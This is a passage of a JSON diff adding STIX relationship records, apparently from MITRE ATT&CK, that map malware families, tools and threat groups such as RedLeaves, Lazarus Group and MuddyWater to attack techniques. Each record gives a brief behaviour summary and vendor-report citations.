"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:17:30.282Z", + "type": "relationship", + "id": "relationship--371d43af-ef68-4471-9db9-f2d40d2baefc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naid](https://attack.mitre.org/software/S0205) collects the domain name from a compromised host.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43c0d71b-d82e-45f0-89ce-acb94810c1c3", + "external_references": [ + { + "source_name": "Symantec Naid June 2012", + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate drives and Remote Desktop sessions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--487d67d7-b697-4de4-abde-decee8b17c44", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FakeM](https://attack.mitre.org/software/S0076) contains a keylogger module.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) can identify system information, including battery status.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f14c6ecd-4997-44aa-9d29-232195fd4a82", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses a custom DNS tunneling protocol for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58487b4a-9741-45b1-accc-171eb124330d", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.453Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to collect information on process creation.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13204383-a747-4f7f-a75c-858ddc76beab", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:45:45.292Z", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--89433640-bf49-48b3-9f26-76423cd36f77", + "external_references": [ + { + "source_name": "TrendMicro Hacking Team UEFI", + "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0dba319b-0d1e-4c73-8153-9ce13d27c98c", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "modified": "2019-07-26T23:00:57.632Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2560c35-b2f6-47d2-b573-236ef99894d5", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used rundll32 for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5a771636-9b4d-423c-b7ba-1f274cbfb5b7", + "external_references": [ + { + "source_name": "Arbor Musical Chairs Feb 2018", + "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + } + ], + "modified": "2019-04-16T20:26:40.979Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If an initial connectivity check fails, [pngdowner](https://attack.mitre.org/software/S0067) attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has been known to dump credentials.", + "type": "relationship", + "created": "2017-05-31T21:33:27.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2019-03-22T20:00:23.879Z", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1984ba26-2309-49db-8c42-75951d0ef678", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also collects disk space information and sends it to its C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-29T18:13:09.367Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.620Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can deliver \"beacon\" payloads for lateral movement by leveraging remote COM execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b469307-a635-4392-a18f-ed1f24b3a684", + "external_references": [ + { + "source_name": "Cobalt Strike DCOM Jan 2017", + "description": "Mudge, R. (2017, January 24). Scripting Matt Nelson\u2019s MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.", + "url": "https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/" + } + ], + "modified": "2019-06-06T19:04:39.538Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) is known to utilize encryption within network protocols.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf859589-38ac-4152-b206-08740ccf503b", + "external_references": [ + { + "source_name": "TrendMicro Taidoor", + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses VNC to connect into systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--440c7f08-e570-4536-8f9c-849952581de1", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.767Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Obfs3, a pluggable transport, to add another layer of encryption and obfuscate TLS.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0179577d-b2a2-42b7-9f5e-944e5bf75d92", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:48.037Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WinMM](https://attack.mitre.org/software/S0059) collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e367a09-1d94-4ea4-984c-a592b769fffa", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:45:45.293Z", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) uses WMIC to identify anti-virus products installed on the victim\u2019s machine and to obtain firewall details.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1157b635-1cd6-4f65-9be6-09a9f7ac1664", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + } + ], + "modified": "2019-06-24T17:20:24.482Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Vasport](https://attack.mitre.org/software/S0207) is capable of tunneling though a proxy.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b150e3fd-54c0-49ec-a41f-860e92712344", + "external_references": [ + { + "source_name": "Symantec Vasport May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used PowerShell for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8a77e9f-594d-429a-9eb0-51502af84c14", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "MuddyWater TrendMicro June 2018", + "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "Talos MuddyWater May 2019", + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "modified": "2019-06-28T15:30:59.020Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is installed via execution of rundll32 with an export named \"init\" or \"InitW.\"", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ccc38b61-c517-4186-909a-760f12ef65e8", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-01-30T18:08:51.177Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can obtain running services on the victim.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7be0437f-1d0d-4df0-9e66-70e581cc5f1a", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) captures the content of the desktop with the screencapture binary.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cdb1549e-d3e6-4826-8f42-ca85fa9d08eb", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" 